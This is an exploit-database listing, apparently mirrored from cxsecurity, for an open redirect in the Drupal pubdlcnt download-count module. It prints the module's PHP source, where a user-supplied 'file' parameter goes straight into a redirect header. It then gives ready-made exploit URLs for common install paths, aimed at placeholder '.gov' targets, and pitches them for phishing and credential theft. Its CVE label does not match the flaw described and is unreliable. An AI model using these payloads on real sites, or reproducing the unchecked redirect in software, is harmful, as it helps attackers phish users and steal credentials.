Advertisement






Drupal Pubdlcnt 7.x-1.2 Open Redirection

CVE Category Price Severity
CVE-2017-6920 CWE-601 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2019-02-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019020234

Below is a copy:

Drupal Pubdlcnt 7.x-1.2 Open Redirection
############################################################################

# Exploit Title : Drupal Pubdlcnt Modules 7.x-1.2 Public Download Count Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/02/2019
# Vendor Homepage : drupal.org
# Software Download Links : ftp.drupal.org/files/projects/pubdlcnt-7.x-1.3.tar.gz
ftp.drupal.org/files/projects/pubdlcnt-6.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.1.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.2.zip
drupal.org/project/pubdlcnt/releases
# Software Information Link : drupal.org/project/pubdlcnt
# Software Affected Versions : 8.x-1.x-dev - 6.x-1.x-dev - 7.x-1.x-dev - 7.x-1.1 - 7.x-1.2 - 7.x-1.3 
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################

# Description about Software :
***************************
Public Download Count keeps track of file download counts.

Key Features => 

It is designed to work under the Drupal's public file system.
It can count the download of the file on external servers.
You can specify valid extensions of the target files.
You can see the yearly, monthly and daily download count for each file.
You can export the download count data as a CSV file.
It does not modify the original contents.
It works with the downloadable files listed in Views tables and lists.
You can create multiple blocks to show top download of specified period.

############################################################################

# Impact and Consequences :
**************************
This web application Drupal Pubdlcnt Modules 7.x-1.3 Public Download Count [ and other versions ]


accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. 

This simplifies phishing attacks. An http parameter may contain a URL value and could cause 

the web application to redirect the request to the specified URL. By modifying the URL 

value to a malicious site, an attacker may successfully launch a phishing scam and steal 

user credentials. Because the server name in the modified link is identical to the original site, phishing 

attempts have a more trustworthy appearance.

############################################################################

Example Vulnerable Source Code 2 : [ Version 6.x-1.x-dev and 7.x-1.2 other versions, too]
*****************************************************************************

<?php
// $Id: 

/**
 * @file
 *
 * file download external script
 *
 * @ingroup pubdlcnt
 *
 * Usage:  pubdlcnt.php?file=http://server/path/file.ext
 *
 * Requirement: PHP5 - get_headers() function is used
 *              (The script works fine with PHP4 but better with PHP5)
 *
 * NOTE: we can not use variable_get() function from this external PHP program
 *     since variable_get() depends on Drupal's internal global variable.
 *       So we need to directly access {variable} table of the Drupal databse 
 *       to obtain some module settings.
 *
 * Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
 * Distributed under the GPL Licence.
 */

/**
 * Step-1: start Drupal's bootstrap to use drupal database
 *         and includes necessary drupal files
 */

$current_dir = getcwd();

// we need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
  // If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt directory
  chdir('../../../../'); // go to drupal root
}
else if (file_exists('../../includes/bootstrap.inc')) {
  // If this script is in the (drupal-root)/modules/pubdlcnt directory
  chdir('../../'); // go to drupal root
}
else {
  // Non standard location: you need to edit the line below so that chdir()
  // command change the directory to the drupal root directory of your server
  // using an absolute path.
  // First, please delete the line below and then edit the next line
  print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
  chdir('/absolute-path-to-drupal-root/'); // <---- edit this line!

  if (!file_exits('./includes/bootstrap.inc')) {
    // We can not locate the bootstrap.inc file, let's give up using the
    // script and just fetch the file
    header('Location: ' . $_GET['file']);
    exit;
  }
}
include_once './includes/bootstrap.inc';
// following two lines are needed for check_url() and valid_url() call
include_once './includes/common.inc';
include_once './modules/filter/filter.module';
// start Drupal bootstrap for accessing database
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);

/**
 * Step-2: get file query value (URL of the actual file to be downloaded)
 */
$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);

if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL 
  // if the URL is relative, then convert it to absolute
  $url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}

/**
 * Step-3: check if the url is valid or not
 */
if (is_valid_file_url($url)) {
  /**
   * Step-4: update counter data (only if the URL is valid and file exists)
   */
  $filename = basename($url);
  pubdlcnt_update_counter($filename, $nid);
}

/**
 * Step-5: redirect to the original URL of the file
 */
header('Location: ' . $url);
exit;

/**
 * Function to check if the specified file URL is valid or not
 */
function is_valid_file_url($url) {
  // replace space characters in the URL with '%20' to support file name
  // with space characters
  $url = preg_replace('/\s/', '%20', $url);

  if (!valid_url($url, true)) {
    return false;
  }
  // URL end with slach (/) and no file name
  if (preg_match('/\/$/', $url)) {
    return false;
  }
  // in case of FTP, we just return TRUE (the file exists)
  if (preg_match('/ftps?:\/\/.*/i', $url)) {
    return true;
  }

  // extract file name and extention
  $filename = basename($url);
  $extension = explode(".", $filename);
  // file name does not have extension
  if (($num = count($extension)) <= 1) {
    return false;
  }
  $ext = $extension[$num - 1];

  // get valid extensions settings from Drupal
  $result = db_query("SELECT value FROM {variable} 
WHERE name = 'pubdlcnt_valid_extensions'");
  $valid_extensions = unserialize(db_result($result));
  if (!empty($valid_extensions)) {
    // check if the extension is a valid extension or not (case insensitive)
    $s_valid_extensions = strtolower($valid_extensions);
    $s_ext = strtolower($ext);
    $s_valid_ext_array = explode(" ", $s_valid_extensions);
    if (!in_array($s_ext, $s_valid_ext_array)) {
      return false;
    }
  }
  
  if (!url_exists($url)) {
    return false;
  }
  return true; // it seems that the file URL is valid
}

/**
 * Function to check if the specified file URL really exists or not
 */
function url_exists($url) {
  $a_url = parse_url($url);
  if (!isset($a_url['port'])) $a_url['port'] = 80;
  $errno = 0;
  $errstr = '';
  $timeout = 30;
  if (isset($a_url['host']) && $a_url['host'] != gethostbyname($a_url['host'])) {
    $fid = @fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
    if (!$fid) return false;
    $page = isset($a_url['path']) ? $a_url['path'] : '';
    $page .= isset($a_url['query']) ? '?' . $a_url['query'] : '';
    fputs($fid, 'HEAD ' . $page . ' HTTP/1.0' . "\r\n" . 'HOST: ' 
        . $a_url['host'] . "\r\n\r\n");
    $head = fread($fid, 4096);
    $head = substr($head, 0, strpos($head, 'Connection: close'));
    fclose($fid);
    // Here are popular status code back from the server
    //
    // URL exits                  'HTTP/1.1 200 OK'
    // URL exits (but redirected) 'HTTP/1.1 302 Found'
    // URL does not exits         'HTTP/1.1 404 Not Found'
    // Can not access URL         'HTTP/1.1 403 Forbidden'
    // Can not access server      'HTTP/1.1 500 Internal Server Error
    // 
    // So we return true only when status 200 or 302
    if (preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head)) {
      return $pos !== false;
    }
  }
  return false;
}

/**
 * Function to update the data base with new counter value
 */
function pubdlcnt_update_counter($name, $nid) {
  $count = 1;
  $name = db_escape_string($name);// security purpose

  if (empty($nid)) { // node nid is invalid
    return;
  }
  // today(00:00:00AM) in Unix time
  $today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
  // convert to datettime format
  $mysqldate = date("Y-m-d H:i:s", $today);

  $result = db_query("SELECT * FROM {pubdlcnt} WHERE name='%s' AND date='%s'", 
                      $name, $mysqldate);
  if ($rec = db_fetch_object($result)) {
    $count = $rec->count + 1;
    // update an existing record
    db_query("UPDATE {pubdlcnt} SET count=%d WHERE name='%s' AND date='%s'", 
$count, $name, $mysqldate);
  }
  else {
    // insert a new record
    db_query("INSERT INTO {pubdlcnt} (name, nid, date, count) VALUES ('%s', %d, '%s', %d)", 
$name, $nid, $mysqldate, $count);
  }
}
?>

############################################################################

# Another Vulnerable Source Code => [ pubdlcnt.php ] => Version 7.x-1.3 
****************************************************************
<?php

/**
 * @file
 * File download external script.
 *
 * @ingroup pubdlcnt
 *
 * Usage:  pubdlcnt.php?fid={file_id}
 *
 * NOTE: we can not use variable_get() function from this external PHP program
 *   since variable_get() depends on Drupal's internal global variable.
 *   So we need to directly access {variable} table of the Drupal databse
 *   to obtain some module settings.
 *
 * Copyright 2016 Corey Halpin <[email protected]>
 * Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
 * See LICENSE.txt for licensing terms.
 */

// Step-1: start Drupal's bootstrap to use drupal database
// and includes necessary drupal files:
$current_dir = getcwd();

// We need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
  // If  this  script  is in  the  (drupal-root)/sites/(site)/modules/pubdlcnt
  // directory, go to drupal root:
  chdir('../../../../');
}
elseif (file_exists('../../includes/bootstrap.inc')) {
  // If this script is in the (drupal-root)/modules/pubdlcnt directory,
  // go to drupal root:
  chdir('../../');
}
else {
  // Non standard location: you need to edit the line below so that chdir()
  // command change the directory to the drupal root directory of your server
  // using an absolute path.
  // First, please delete the line below and then edit the next line.
  print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
  chdir('/absolute-path-to-drupal-root/');

  if (!file_exists('./includes/bootstrap.inc')) {
    exit;
  }
}
define('DRUPAL_ROOT', realpath(getcwd()));
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
// Following two lines are needed for check_url() and valid_url() call:
include_once DRUPAL_ROOT . '/includes/common.inc';
include_once DRUPAL_ROOT . '/modules/filter/filter.module';

// Start Drupal bootstrap for accessing database:
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);

// Step 2: Get file query value (fid of the file todownload)
if (!isset($_GET["fid"])) {
  header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
  print "<pre>ERROR: no file specified for donwload.</pre>";
  exit;
}

// Check that the fid given is valid:
$rec = db_query(
    "SELECT * FROM {pubdlcnt} WHERE fid=:fid",
    [':fid' => $_GET["fid"]]
)->fetchObject();
if ($rec === FALSE) {
  header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
  print "<pre>ERROR: invalid fid provided.</pre>";
  exit;
}

$url = $rec->url;
$nid = $rec->nid;

// Is this an absolute url?
if (!preg_match("%^(f|ht)tps?://.*%i", $url)) {
  // If the URL is relative, then convert it to absolute:
  $url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}

// Step 3: Check that the URL is valid:
if (!pubdlcnt_is_valid_file_url($url)) {
  header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
  print "<pre>ERROR: Invalid download url.</pre>";
  exit;
}

// Step 4: If this is an external link and referer is also external, refuse to
// redirect to prevent an open redirect vulnerability.
$tgt_domain = parse_url($url, PHP_URL_HOST);
$referer = isset($_SERVER["HTTP_REFERER"]) ?
    parse_url($_SERVER["HTTP_REFERER"], PHP_URL_HOST) :
    FALSE;
if ($tgt_domain != $_SERVER['SERVER_NAME'] &&
    $referer != $_SERVER['SERVER_NAME']) {
  header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
  print "<pre>Refusing to redirect to external site.</pre>";
  exit;
}

// Step 5: At this point, request must be valid. Update counter data.
pubdlcnt_update_counter($rec->fid);

// Step 6: redirect to the original URL of the file:
header('Cache-Control: max-age=0');
header('Location: ' . $url);

/**
 * Function to check if the specified file URL is valid or not.
 *
 * @param string $url
 *   Url to check.
 *
 * @return bool
 *   TRUE for valid files, FALSE otherwise.
 */
function pubdlcnt_is_valid_file_url(string $url) {
  // Replace space characters in the URL with '%20' to support file name
  // with space characters:
  $url = preg_replace('/\s/', '%20', $url);
  if (!valid_url($url, TRUE)) {
    return FALSE;
  }

  // URL end with slach (/) and no file name:
  if (preg_match('/\/$/', $url)) {
    return FALSE;
  }

  // In case of FTP, we just return TRUE (the file exists):
  if (preg_match('/ftps?:\/\/.*/i', $url)) {
    return TRUE;
  }

  // Extract file name and extension:
  $filename = basename($url);
  $extension = explode(".", $filename);

  // File name does not have extension:
  if (($num = count($extension)) <= 1) {
    return FALSE;
  }
  $ext = $extension[$num - 1];

  // Get valid extensions settings from Drupal:
  $result = db_query("SELECT value FROM {variable}
                      WHERE name = :name", array(':name' => 'pubdlcnt_valid_extensions'))->fetchField();
  $valid_extensions = unserialize($result);
  if (!empty($valid_extensions)) {
    // Check if the extension is a valid extension or not (case insensitive):
    $s_valid_extensions = strtolower($valid_extensions);
    $s_ext = strtolower($ext);
    $s_valid_ext_array = explode(" ", $s_valid_extensions);
    if (!in_array($s_ext, $s_valid_ext_array)) {
      return FALSE;
    }
  }

  // Check if url exists:
  $result = drupal_http_request($url, array("method" => "HEAD"));
  if ($result->code != 200) {
    return FALSE;
  }

  // It seems that the file URL is valid:
  return TRUE;
}

/**
 * Function to check duplicate download from the same IP address within a day.
 *
 * @param int $fid
 *   Id of file being downloaded.
 *
 * @return int
 *   0 - OK,  1 - duplicate (skip counting)
 */
function pubdlcnt_check_duplicate(int $fid) {
  // Get the settings:
  $result = db_query("SELECT value FROM {variable} WHERE name = :name",
                     array(':name' => 'pubdlcnt_skip_duplicate'))->fetchField();
  $skip_duplicate = unserialize($result);
  if (!$skip_duplicate) {
    return 0;
  }

  // OK, we should check the duplicate download:
  $ip = filter_var(ip_address(), FILTER_VALIDATE_IP);
  if ($ip === FALSE) {
    // Invalid IPv4 address:
    return 1;
  }

  // Unix timestamp:
  $today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));

  $result = db_query(
      "SELECT * FROM {pubdlcnt_ip} WHERE fid=:fid AND ip=:ip AND utime=:utime", [
        ':fid' => $fid,
        ':ip' => $ip,
        ':utime' => $today,
      ]);
  if ($result->rowCount()) {
    // Found duplicate!
    return 1;
  }

  // Add IP address to the database:
  db_insert('pubdlcnt_ip')
    ->fields([
      'fid' => $fid,
      'ip' => $ip,
      'utime' => $today,
    ])->execute();

  return 0;
}

/**
 * Function to update the data base with new counter value.
 *
 * @param int $fid
 *   Id of file being downloaded.
 */
function pubdlcnt_update_counter(int $fid) {
  // Check the duplicate download from the same IP and skip updating counter:
  if (pubdlcnt_check_duplicate($fid)) {
    return;
  }

  db_update('pubdlcnt')
    ->expression('count', 'count + 1')
    ->condition('fid', $fid)
    ->execute();

  // Get the settings:
  $result = db_query(
      "SELECT value FROM {variable} WHERE name=:name",
      [':name' => 'pubdlcnt_save_history']
  )->fetchField();
  $save_history = unserialize($result);

  if ($save_history) {
    $today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));

    db_merge('pubdlcnt_history')
      ->key(['fid' => $fid, 'utime' => $today])
      ->fields(['count' => 1])
      ->expression('count', 'count + 1')
      ->execute();
  }
}

############################################################################

Another Vulnerable Source Code 2 :
*******************************

$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);
if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL 
  // if the URL is relative, then convert it to absolute
  $url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
if (is_valid_file_url($url)) {
  $filename = basename($url);
  pubdlcnt_update_counter($url, $filename, $nid);
header('Location: ' . $url);
exit;

############################################################################

# Open Redirection Exploit :
**************************
Usage:  pubdlcnt.php?fid={file_id}

Usage:  pubdlcnt.php?file=http://server/

/web/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/contributed/other/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum